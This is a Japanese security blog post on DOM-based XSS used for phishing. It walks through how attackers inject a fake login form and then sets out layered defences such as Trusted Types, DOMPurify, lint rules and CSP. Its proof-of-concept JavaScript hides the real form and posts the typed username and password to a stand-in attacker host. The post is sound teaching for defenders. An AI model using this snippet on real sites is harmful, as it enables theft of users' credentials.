XSSは「死んだ技術」か?―フィッシングの最前線で見える、DOM操作の泥沼
「XSS? 今さらそんな古典的な脆弱性で記事を書くのか?」
もし君がそう思ったなら、現場の最前線から少し距離を置いているのかもしれない。確かに、モダンなフレームワーク(ReactやVue)はデフォルトでエスケープ処理を噛ませるし、ブラウザ側のCSP(Content Security Policy)も成熟した。だが、攻撃者は常に「フレームワークの隙間」と「開発者の油断」の交差点で待ち構えている。
今日語るのは、単なるアラートボックスが出るようなXSSではない。「ユーザーを騙し、認証情報を完全に掌握する」ための、DOM注入によるフィッシング攻撃のシーケンスだ。
—
攻撃シーケンスの解剖:DOMベースの「偽装ログインフォーム」注入
攻撃者が狙うのは、サーバーサイドのレスポンスを介さない「DOM型XSS」だ。これはWAFをすり抜ける。なぜなら、ペイロードがサーバーを通過せず、クライアントサイドのJavaScriptによって直接DOMに反映されるからだ。
攻撃のロジックフロー
1. エントリポイントの特定: URLフラグメントや window.name など、サニタイズされていないソースを innerHTML や outerHTML に流し込んでいるシンク(sink)を特定する。
2. DOM注入: 攻撃者は、正規のログイン画面を一時的に非表示(display: none)にし、全く同じデザインの「偽フォーム」を document.body に挿入する。
3. イベントのインターセプト: 偽フォームの送信ボタンにイベントリスナーを仕込み、fetch または XMLHttpRequest で攻撃者のC2サーバーへ認証情報を転送する。
4. 隠蔽工作: 認証情報取得後、即座に偽フォームを削除し、正規のフォームを復元する。ユーザーは「通信エラーかな?」と思うだけで、自分のクレデンシャルが抜かれたことにすら気づかない。
攻撃コードの概念(Proof of Concept)
// 攻撃者は被害者に細工したURLを踏ませる
// URL: https://target.com/#
function injectPhishingForm() {
const loginForm = document.querySelector(‘#login-form’);
loginForm.style.display = ‘none’; // 正規フォームを隠す
const phishingForm = document.createElement(‘form’);
phishingForm.innerHTML = `
`;
document.body.appendChild(phishingForm);
// 認証情報を盗み出すリスナー
document.getElementById(‘submit-btn’).addEventListener(‘click’, () => {
const data = {
u: document.getElementById(‘fake-user’).value,
p: document.getElementById(‘fake-pass’).value
};
// 攻撃者のサーバーへ送信
fetch(‘https://attacker.com/log’, { method: ‘POST’, body: JSON.stringify(data) });
// 痕跡を消して正規画面へ戻す
phishingForm.remove();
loginForm.style.display = ‘block’;
});
}
—
最高峰の防衛戦略:防御のレイヤーを再構築せよ
この攻撃を防ぐには、単に「サニタイズしましょう」という標語では足りない。アーキテクトとしては、以下の多層防御を強制的に適用する必要がある。
1. Trusted Types API の導入(最強の防衛)
モダンブラウザが提供する Trusted Types は、危険なシンク(innerHTMLなど)へのデータ代入を厳格に制限する。開発者が明示的に「安全である」と証明したオブジェクト以外は、ブラウザがDOMへの注入を拒否する。
// CSPヘッダーでポリシーを定義
// Content-Security-Policy: require-trusted-types-for ‘script’;
const policy = trustedTypes.createPolicy(‘myPolicy’, {
createHTML: (input) => DOMPurify.sanitize(input) // DOMPurifyを通すことを強制
});
// 危険なシンクに直接文字列を渡すとブラウザが例外を投げる
element.innerHTML = policy.createHTML(userInput);
2. コンテキストアウェアなサニタイズ
innerHTML の使用自体を lint ルールで禁止せよ。ESLintの no-danger ルールは必須だ。どうしてもDOM生成が必要な場合は、textContent を使うか、テンプレートリテラルで構築する前に DOMPurify を通すフローをCI/CDパイプラインに組み込む。
3. プロンプトインジェクションへの応用(生成AI時代)
現在、LLMをバックエンドに持つアプリケーションで、AIの回答を innerHTML に流し込む実装が散見される。これは「生成AI経由のXSS」という新たな地獄を生む。AIが生成したテキストは「信頼できない外部入力」と定義し、必ずCSPとTrusted Typesでガードしなければならない。
—
結論:セキュリティは「信頼の破壊」から始まる
セキュリティアーキテクトとしての私の信条は、「開発者は人間であり、必ずミスをする」という前提に立つことだ。
XSSを防ぐ技術は、もはや言語仕様やライブラリのアップデートに依存するものではない。「DOMへの書き込みをいかにして純粋なデータに限定するか」という、アーキテクチャの規律の問題だ。
君たちが設計するアプリケーションが、もしユーザーの認証情報を守るべき場所であるなら、今すぐ Content-Security-Policy を厳格に設定し、Trusted Types の採用を検討してほしい。攻撃者は、君たちが「まさかこのライブラリでやられるはずがない」と思っているその一点を、冷徹に見つめているのだから。
泥臭いパケット解析も大事だが、まずはコードの静的解析とブラウザのセキュリティポリシーから、戦場を支配せよ。
コメント